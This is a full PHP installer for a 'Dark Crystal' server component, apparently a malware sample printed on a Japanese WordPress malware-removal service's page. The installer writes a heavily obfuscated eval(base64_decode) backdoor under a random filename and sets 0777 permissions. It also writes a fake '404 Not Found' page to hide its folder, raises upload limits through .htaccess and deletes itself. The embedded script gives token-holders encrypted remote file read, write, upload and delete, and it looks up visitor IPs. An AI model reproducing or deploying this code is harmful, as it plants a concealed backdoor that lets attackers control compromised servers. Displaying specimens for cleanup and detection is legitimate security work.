    $code = "function _479097832(\$i){\$a=Array(\"AES-192-OFB\",\"SERVER_NAME\",\"AES-192-OFB\",\"SERVER_NAME\",'Europe/London','display_errors','log_errors','upload_max_filesize','150000M','post_max_size','150000M','max_input_time','max_execution_time',\"4464384df654985d17d3f8bb52d22584\",\"DCOwned\",\"S3fseRewrstst\",\"2d447593dd149a2bbe321d4281a7ce159a5ca759\",\"-\",\"SERVER_NAME\",\"gettoken\",\"SERVER_NAME\",\"gettoken\",\"SERVER_NAME\",'HTTP_CLIENT_IP','HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED_FOR','REMOTE_ADDR',\"SERVER_NAME\",\"token\",\"SERVER_NAME\",\"tkn\",\"SERVER_NAME\",\"token_uid\",\"SERVER_NAME\",\"status\",\"SERVER_NAME\",\"OK\",\"SERVER_NAME\",\"workdir\",\"SERVER_NAME\",\"ipinfo\",\"http://www.geoplugin.net/json.gp?ip=\",\"SERVER_NAME\",\"status\",\"SERVER_NAME\",\"WRONG\",\"SERVER_NAME\",\"SERVER_NAME\",\"val\",\"SERVER_NAME\",\"password\",\"SERVER_NAME\",\"password\",\"SERVER_NAME\",\"status\",\"SERVER_NAME\",\"OK\",\"SERVER_NAME\",\"workdir\",\"SERVER_NAME\",\"token\",\"SERVER_NAME\",\"tkn\",\"SERVER_NAME\",\"status\",\"SERVER_NAME\",\"WRONG\",\"SERVER_NAME\",\"SERVER_NAME\",\"val\",\"SERVER_NAME\",\"token\",\"SERVER_NAME\",\"token\",\"SERVER_NAME\",\"token\",\"SERVER_NAME\",\"tkn\",\"SERVER_NAME\",\"token_uid\",\"SERVER_NAME\",\"getdata\",\"SERVER_NAME\",\"getdata\",\"SERVER_NAME\",\"name\",\".\",\"\",\"SERVER_NAME\",\"extension\",\"SERVER_NAME\",\"token_uid\",\"php\",\"html\",\"htm\",\"htaccess\",\"xhtml\",\"mhtml\",\"mhtm\",\"mht\",\"js\",\"SERVER_NAME\",\"SERVER_NAME\",\"/\",\"SERVER_NAME\",\"setdata\",\"SERVER_NAME\",\"setdata\",\"SERVER_NAME\",\"name\",\".\",\"\",\"SERVER_NAME\",\"extension\",\"SERVER_NAME\",\"data\",\"SERVER_NAME\",\"token_uid\",\"php\",\"html\",\"htm\",\"htaccess\",\"xhtml\",\"mhtml\",\"mhtm\",\"mht\",\"js\",\"/\",\"SERVER_NAME\",\"downloadsafefile_name\",\"SERVER_NAME\",\"downloadsafefile_name\",'extension',\"php\",\"html\",\"htm\",\"htaccess\",\"xhtml\",\"mhtml\",\"mhtm\",\"mht\",\"js\",\"/\",\"SERVER_NAME\",\"uploadsafefile_name\",\"SERVER_NAME\",\"uploadsafefile_name\",'extension',\"tmp_name\",\"php\",\"html\",\"htm\",\"htaccess\",\"xhtml\",\"mhtml\",\"mhtm\",\"mht\",\"js\",\"/\",\"SERVER_NAME\",\"uploadfile_name\",\"SERVER_NAME\",\"uploadfile_name\",'extension',\"php\",\"html\",\"htm\",\"htaccess\",\"xhtml\",\"mhtml\",\"mhtm\",\"mht\",\"js\",\"tmp_name\",\"/\",\"SERVER_NAME\",\"adddata\",\"SERVER_NAME\",\"adddata\",\"SERVER_NAME\",\"name\",\".\",\"\",\"SERVER_NAME\",\"extension\",\"SERVER_NAME\",\"data\",\"SERVER_NAME\",\"token_uid\",\"php\",\"html\",\"htm\",\"htaccess\",\"xhtml\",\"mhtml\",\"mhtm\",\"mht\",\"js\",\"/\",\"/\",\"SERVER_NAME\",\"getallbyext\",\"SERVER_NAME\",\"getallbyext\",\"SERVER_NAME\",\"extension\",\"SERVER_NAME\",\"getdata\",\"SERVER_NAME\",\"additionaldata\",\"php\",\"html\",\"htm\",\"htaccess\",\"xhtml\",\"mhtml\",\"mhtm\",\"mht\",\"js\",\"/*\",\"SERVER_NAME\",\"name\",\"SERVER_NAME\",\"data\",\"SERVER_NAME\",\"lastmodificationtime\",\"d.m-H:i\",\"SERVER_NAME\",\"nowtime\",\"d.m-H:i\",\"SERVER_NAME\",\"additionaldata\",\"SERVER_NAME\",\"/\",\"SERVER_NAME\",\"delallbyname\",\"SERVER_NAME\",\"delallbyname\",\"SERVER_NAME\",\"name\",\"/\",\"*\");return \$a[\$i];} ?><?php function l_(\$_,\$__){return openssl_encrypt(\$_,_479097832(0),\$__,\$___=round(0),\$_SERVER[_479097832(1)]);}function l__(\$_,\$____){return openssl_decrypt(\$_,_479097832(2),\$____,\$___=round(0),\$_SERVER[_479097832(3)]);}date_default_timezone_set(_479097832(4));error_reporting(round(0));ini_set(_479097832(5),round(0));ini_set(_479097832(6),round(0));ini_set(_479097832(7),_479097832(8));ini_set(_479097832(9),_479097832(10));ini_set(_479097832(11),round(0+300));ini_set(_479097832(12),round(0+75+75+75+75));\$_____=sha1(_479097832(13));\$______=_479097832(14);\$_______=_479097832(15);\$________=_479097832(16);\$_________=_479097832(17);if(isset(\$_GET[md5(\$_SERVER[_479097832(18)] ._479097832(19))])){if(\$_GET[md5(\$_SERVER[_479097832(20)] ._479097832(21))]== md5(\$_SERVER[_479097832(22)])){\$__________=rand(round(0+2000+2000+2000+2000+2000),round(0+19999.8+19999.8+19999.8+19999.8+19999.8));while(true){if((\$__________%round(0+2))== round(0))break;\$__________=rand(round(0+2000+2000+2000+2000+2000),round(0+24999.75+24999.75+24999.75+24999.75));}if(!empty(\$_SERVER[_479097832(23)])){\$___________=\$_SERVER[_479097832(24)];}elseif(!empty(\$_SERVER[_479097832(25)])){\$___________=\$_SERVER[_479097832(26)];}else{\$___________=\$_SERVER[_479097832(27)];}\$____________[md5(\$_SERVER[_479097832(28)] ._479097832(29))]=\$__________ .crc32(\$______ .\$_____ .\$________) .sha1(\$_SERVER[_479097832(30)] ._479097832(31) .base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(32)] ._479097832(33))])));\$____________[md5(\$_SERVER[_479097832(34)] ._479097832(35))]=md5(\$_SERVER[_479097832(36)] ._479097832(37));\$____________[md5(\$_SERVER[_479097832(38)] ._479097832(39))]=strrev(base64_encode(strrev(\$_______)));\$____________[md5(\$_SERVER[_479097832(40)] ._479097832(41))]=strrev(base64_encode(strrev(file_get_contents(_479097832(42) .\$___________))));}else{\$____________[md5(\$_SERVER[_479097832(43)] ._479097832(44))]=md5(\$_SERVER[_479097832(45)] ._479097832(46));}\$_____________=rand(round(0+1),round(0+3+3+3+3+3));for(\$______________=round(0);\$______________<\$_____________;\$______________++){\$_______________=md5(\$_SERVER[_479097832(47)] .\$_____________);if(array_key_exists(\$_______________,\$____________))continue;\$____________[\$_______________]=md5(\$_SERVER[_479097832(48)] ._479097832(49) .\$_____________);}echo(strrev(base64_encode(json_encode(\$____________))));return;}elseif(isset(\$_GET[md5(\$_SERVER[_479097832(50)] ._479097832(51))])){if(\$_GET[md5(\$_SERVER[_479097832(52)] ._479097832(53))]== \$_____){\$__________=rand(round(0+3333.3333333333+3333.3333333333+3333.3333333333),round(0+19999.8+19999.8+19999.8+19999.8+19999.8));while(true){if((\$__________%round(0+0.66666666666667+0.66666666666667+0.66666666666667))== round(0+0.2+0.2+0.2+0.2+0.2))break;\$__________=rand(round(0+2500+2500+2500+2500),round(0+99999));}\$____________[md5(\$_SERVER[_479097832(54)] ._479097832(55))]=md5(\$_SERVER[_479097832(56)] ._479097832(57));\$____________[md5(\$_SERVER[_479097832(58)] ._479097832(59))]=strrev(base64_encode(strrev(\$_______)));\$____________[md5(\$_SERVER[_479097832(60)] ._479097832(61))]=\$__________ .crc32(\$______ .\$_____ .\$________) .sha1(\$_SERVER[_479097832(62)] ._479097832(63));}else{\$____________[md5(\$_SERVER[_479097832(64)] ._479097832(65))]=md5(\$_SERVER[_479097832(66)] ._479097832(67));}\$_____________=rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+5+5+5));for(\$______________=round(0);\$______________<\$_____________;\$______________++){\$_______________=md5(\$_SERVER[_479097832(68)] .\$_____________);if(array_key_exists(\$_______________,\$____________))continue;\$____________[\$_______________]=md5(\$_SERVER[_479097832(69)] ._479097832(70) .\$_____________);}echo(strrev(base64_encode(json_encode(\$____________))));return;}\$________________=false;if(isset(\$_GET[md5(\$_SERVER[_479097832(71)] ._479097832(72))])){if((intval(substr(base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(73)] ._479097832(74))])),round(0),round(0+5)))%round(0+1+1))== round(0+0.5+0.5)){\$________________=true;}elseif(substr(base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(75)] ._479097832(76))])),round(0+1+1+1+1+1))== crc32(\$______ .\$_____ .\$________) .sha1(\$_SERVER[_479097832(77)] ._479097832(78) .sha1(base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(79)] ._479097832(80))]))))){\$________________=false;}else{return;}}else{return;}if(!empty(\$_GET[md5(\$_SERVER[_479097832(81)] ._479097832(82))])){\$____________=array();\$_________________=json_decode(base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(83)] ._479097832(84))])),true);foreach(\$_________________ as \$__________________){\$___________________=\$__________________[md5(\$_SERVER[_479097832(85)] ._479097832(86))];\$____________________=str_replace(_479097832(87),_479097832(88),\$__________________[md5(\$_SERVER[_479097832(89)] ._479097832(90))]);if(!\$________________){if(sha1(\$___________________)!= base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(91)] ._479097832(92))]))){return;}}if(\$____________________ == _479097832(93)or \$____________________ == _479097832(94)or \$____________________ == _479097832(95)or \$____________________ == _479097832(96)or \$____________________ == _479097832(97)or \$____________________ == _479097832(98)or \$____________________ == _479097832(99)or \$____________________ == _479097832(100)or \$____________________ == _479097832(101))continue;\$____________[md5(\$_SERVER[_479097832(102)] .\$___________________)][md5(\$_SERVER[_479097832(103)] .\$____________________)]=base64_encode(l__(file_get_contents(\$_______ ._479097832(104) .\$___________________ .\$_________ .\$____________________),md5(\$___________________ .crc32(\$______ .\$_____ .\$________))));}echo(strrev(base64_encode(json_encode(\$____________))));}if(!empty(\$_GET[md5(\$_SERVER[_479097832(105)] ._479097832(106))])){\$_____________________=json_decode(base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(107)] ._479097832(108))])),true);foreach(\$_____________________ as \$__________________){\$___________________=\$__________________[md5(\$_SERVER[_479097832(109)] ._479097832(110))];\$____________________=str_replace(_479097832(111),_479097832(112),\$__________________[md5(\$_SERVER[_479097832(113)] ._479097832(114))]);\$______________________=base64_decode(\$__________________[md5(\$_SERVER[_479097832(115)] ._479097832(116))]);if(!\$________________){if(sha1(\$___________________)!= base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(117)] ._479097832(118))]))or strlen(\$___________________)!= round(0+20+20)or strlen(\$____________________)!= round(0+13.333333333333+13.333333333333+13.333333333333)){return;}}if(!ctype_print(\$____________________)or!ctype_print(\$___________________)or \$____________________ == _479097832(119)or \$____________________ == _479097832(120)or \$____________________ == _479097832(121)or \$____________________ == _479097832(122)or \$____________________ == _479097832(123)or \$____________________ == _479097832(124)or \$____________________ == _479097832(125)or \$____________________ == _479097832(126)or \$____________________ == _479097832(127))continue;file_put_contents(\$_______ ._479097832(128) .\$___________________ .\$_________ .\$____________________,l_(\$______________________,md5(\$___________________ .crc32(\$______ .\$_____ .\$________))));}}if(!empty(\$_GET[md5(\$_SERVER[_479097832(129)] ._479097832(130))])){\$_______________________=base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(131)] ._479097832(132))]));\$________________________=pathinfo(\$_______________________)[_479097832(133)];if(\$________________________ == null){\$________________________=explode(\$_________,\$_______________________)[round(0+0.25+0.25+0.25+0.25)];}if(\$________________________ == _479097832(134)or \$________________________ == _479097832(135)or \$________________________ == _479097832(136)or \$________________________ == _479097832(137)or \$________________________ == _479097832(138)or \$________________________ == _479097832(139)or \$________________________ == _479097832(140)or \$________________________ == _479097832(141)or \$________________________ == _479097832(142))return;echo(l__(file_get_contents(\$_______ ._479097832(143) .\$_______________________),md5(\$_______________________ .crc32(\$______ .\$_____ .\$________))));}if(!empty(\$_POST[md5(\$_SERVER[_479097832(144)] ._479097832(145))])){\$_______________________=base64_decode(strrev(\$_POST[md5(\$_SERVER[_479097832(146)] ._479097832(147))]));\$________________________=pathinfo(\$_______________________)[_479097832(148)];if(\$________________________ == null){\$________________________=explode(\$_________,\$_______________________)[round(0+0.33333333333333+0.33333333333333+0.33333333333333)];}\$______________________=file_get_contents(\$_FILES[md5(\$_______________________)][_479097832(149)]);if(!ctype_print(\$_______________________)or \$________________________ == _479097832(150)or \$________________________ == _479097832(151)or \$________________________ == _479097832(152)or \$________________________ == _479097832(153)or \$________________________ == _479097832(154)or \$________________________ == _479097832(155)or \$________________________ == _479097832(156)or \$________________________ == _479097832(157)or \$________________________ == _479097832(158))return;file_put_contents(\$_______ ._479097832(159) .\$_______________________,l_(\$______________________,md5(\$_______________________ .crc32(\$______ .\$_____ .\$________))));}if(!empty(\$_POST[md5(\$_SERVER[_479097832(160)] ._479097832(161))])){\$_______________________=base64_decode(strrev(\$_POST[md5(\$_SERVER[_479097832(162)] ._479097832(163))]));\$________________________=pathinfo(\$_______________________)[_479097832(164)];if(\$________________________ == null){\$________________________=explode(\$_________,\$_______________________)[round(0+0.5+0.5)];}if(!ctype_print(\$_______________________)or \$________________________ == _479097832(165)or \$________________________ == _479097832(166)or \$________________________ == _479097832(167)or \$________________________ == _479097832(168)or \$________________________ == _479097832(169)or \$________________________ == _479097832(170)or \$________________________ == _479097832(171)or \$________________________ == _479097832(172)or \$________________________ == _479097832(173))return;move_uploaded_file(\$_FILES[md5(\$_______________________)][_479097832(174)],\$_______ ._479097832(175) .\$_______________________);}if(!empty(\$_GET[md5(\$_SERVER[_479097832(176)] ._479097832(177))])){\$_________________________=json_decode(base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(178)] ._479097832(179))])),true);foreach(\$_________________________ as \$__________________){\$___________________=\$__________________[md5(\$_SERVER[_479097832(180)] ._479097832(181))];\$____________________=str_replace(_479097832(182),_479097832(183),\$__________________[md5(\$_SERVER[_479097832(184)] ._479097832(185))]);\$______________________=base64_decode(\$__________________[md5(\$_SERVER[_479097832(186)] ._479097832(187))]);if(!\$________________){if(sha1(\$___________________)!= base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(188)] ._479097832(189))]))or strlen(\$___________________)!= round(0+10+10+10+10)or strlen(\$____________________)!= round(0+13.333333333333+13.333333333333+13.333333333333)){return;}}if(!ctype_print(\$____________________)or!ctype_print(\$___________________)or \$____________________ == _479097832(190)or \$____________________ == _479097832(191)or \$____________________ == _479097832(192)or \$____________________ == _479097832(193)or \$____________________ == _479097832(194)or \$____________________ == _479097832(195)or \$____________________ == _479097832(196)or \$____________________ == _479097832(197)or \$____________________ == _479097832(198))continue;file_put_contents(\$_______ ._479097832(199) .\$___________________ .\$_________ .\$____________________,l_(l__(file_get_contents(\$_______ ._479097832(200) .\$___________________ .\$_________ .\$____________________),md5(\$___________________ .crc32(\$______ .\$_____ .\$________))) .\$______________________,md5(\$___________________ .crc32(\$______ .\$_____ .\$________))));}}if(!empty(base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(201)] ._479097832(202))])))and \$________________ == true){\$____________=array();\$__________________________=json_decode(base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(203)] ._479097832(204))])),true);\$____________________=\$__________________________[md5(\$_SERVER[_479097832(205)] ._479097832(206))];\$_________________=\$__________________________[md5(\$_SERVER[_479097832(207)] ._479097832(208))];\$___________________________=\$__________________________[md5(\$_SERVER[_479097832(209)] ._479097832(210))];if(\$____________________ == _479097832(211)or \$____________________ == _479097832(212)or \$____________________ == _479097832(213)or \$____________________ == _479097832(214)or \$____________________ == _479097832(215)or \$____________________ == _479097832(216)or \$____________________ == _479097832(217)or \$____________________ == _479097832(218)or \$____________________ == _479097832(219))return;\$____________________________=glob(\$_______ ._479097832(220) .\$_________ .\$____________________);foreach(\$____________________________ as \$__________________){\$_____________________________=basename(\$__________________,\$_________ .\$____________________);\$____________[\$_____________________________][md5(\$_SERVER[_479097832(221)] ._479097832(222))]=\$_____________________________;if(\$_________________ == true){\$____________[\$_____________________________][md5(\$_SERVER[_479097832(223)] ._479097832(224))]=base64_encode(l__(file_get_contents(\$__________________),md5(\$_____________________________ .crc32(\$______ .\$_____ .\$________))));\$____________[\$_____________________________][md5(\$_SERVER[_479097832(225)] ._479097832(226))]=base64_encode(date(_479097832(227),filemtime(\$__________________)));\$____________[\$_____________________________][md5(\$_SERVER[_479097832(228)] ._479097832(229))]=base64_encode(date(_479097832(230)));}if(count(\$___________________________)>round(0)){foreach(\$___________________________ as \$______________________________){\$_______________________________=base64_decode(\$______________________________);\$____________[\$_____________________________][md5(\$_SERVER[_479097832(231)] ._479097832(232))][md5(\$_SERVER[_479097832(233)] .\$_______________________________)]=base64_encode(l__(file_get_contents(\$_______ ._479097832(234) .\$_____________________________ .\$_________ .sha1(\$_______________________________ .\$_____________________________)),md5(\$_____________________________ .crc32(\$______ .\$_____ .\$________))));}}}echo(strrev(base64_encode(json_encode(\$____________))));}if(!empty(base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(235)] ._479097832(236))])))and \$________________ == true){\$________________________________=json_decode(base64_decode(strrev(\$_GET[md5(\$_SERVER[_479097832(237)] ._479097832(238))])),true);foreach(\$________________________________ as \$__________________){\$___________________=\$__________________[md5(\$_SERVER[_479097832(239)] ._479097832(240))];\$____________________________=glob(\$_______ ._479097832(241) .\$___________________ .\$_________ ._479097832(242));foreach(\$____________________________ as \$__________________){unlink(\$__________________);}}}";
    $code = str_replace("4464384df654985d17d3f8bb52d22584", $password, $code);
    $code = str_replace("S3fseRewrstst", $folder_name, $code);
    $encoded_code = base64_encode($code);
    // Encode the script without reversing
    // Generate a random file name (max 8 characters) for dokatkapidr.php
    $random_filename = substr(bin2hex(random_bytes(5)), 0, 8) . ".php";
    $result = "<?php eval(base64_decode('" . $encoded_code . "')); ?>";
    // Embed the encoded script
    function cfile_put_contents($path, $content)
    {
        file_put_contents($path, $content);
        chmod($path, 0777);
    }
    cfile_put_contents(".htaccess", "php_value memory_limit 512M\r\n    php_value post_max_size 150000M\r\n    php_value upload_max_filesize 150000M\r\n    php_value max_input_vars 1800\r\n    php_value max_execution_time 300\r\n    php_value max_input_time 300");
    cfile_put_contents($random_filename, $result);
    cfile_put_contents("index.html", "<html><head>\r\n    <title>404 Not Found</title>\r\n    </head><body>\r\n    <h1>Not Found</h1>\r\n    <p>The requested URL was not found on this server.</p>\r\n    <hr>\r\n\r\n    </body></html>");
    cfile_put_contents("index.php", "<?php include(\"/opt/index.php\") ?>\r\n    ");
    mkdir($folder_name, 0777);
    cfile_put_contents($folder_name . "/index.html", "<?php include(\"/opt/index.php\") ?>");
    // First convert to base64 then reverse from left to right
    $encoded_filename = strrev(base64_encode(substr($random_filename, 0, 4)));
    $output = "Installation successful. URL: http://" . $_SERVER['SERVER_NAME'] . "/@" . $encoded_filename;
    unlink("/var/www/html/input.php");
}
?>



<html>

<head>
    <title>DARK CRYSTAL SERVER INSTALLATION</title>
    <style>
        body {
            background: linear-gradient(45deg, #292929 25%, transparent 25%, transparent 75%, #292929 75%), linear-gradient(45deg, #292929 25%, transparent 25%, transparent 75%, #292929 75%) 0.1875em 0.1875em, radial-gradient(at 50% 0, #484847, #090909);
            background-size: 0em 0em, 0em 0em, 100% 100%;
            height: 100vh;
            margin: 0;
        }
        .center {
            display: flex;
            justify-content: center;
            align-items: center;
            height: calc(100vh - 2px);
            border: 1px solid #666666;
            box-sizing: content-box;
            font: normal 16px/1 Tahoma, Geneva, sans-serif;
            color: #cccccc;
            flex-direction: column;
        }
        form {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            width: 100%;
        }
        h1 {
            font: bold 16px/1 Tahoma, Geneva, sans-serif;
            color: #cccccc;
            text-align: center;
            margin-top: 0;
        }
    </style>
</head>

<body>
    <div class="center">
        <h1>DARK CRYSTAL SERVER INSTALLATION</h1>
        <?php 
if (isset($output)) {
    ?>
            <p><?php 
    echo $output;
    ?></p>
        <?php 
} else {
    ?>
            <form action="" method="post" name="settingform">
                <input style="width: 300px; height: 30px; border: 1px solid #444; color: #fff; background: #1f1f1f; font-size: 15px; padding-left: 6px; padding-right: 6px; margin-top: 20px;" type="password" name="server_password" placeholder="Server Password">
                <input style="width: 300px; height: 30px; border: 1px solid #444; color: #fff; background: #1f1f1f; font-size: 15px; padding-left: 6px; padding-right: 6px; margin-top: 10px" type="submit" name="install" value="Install">
            </form>
        <?php 
}
?>
    </div>
</body>

</html>


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.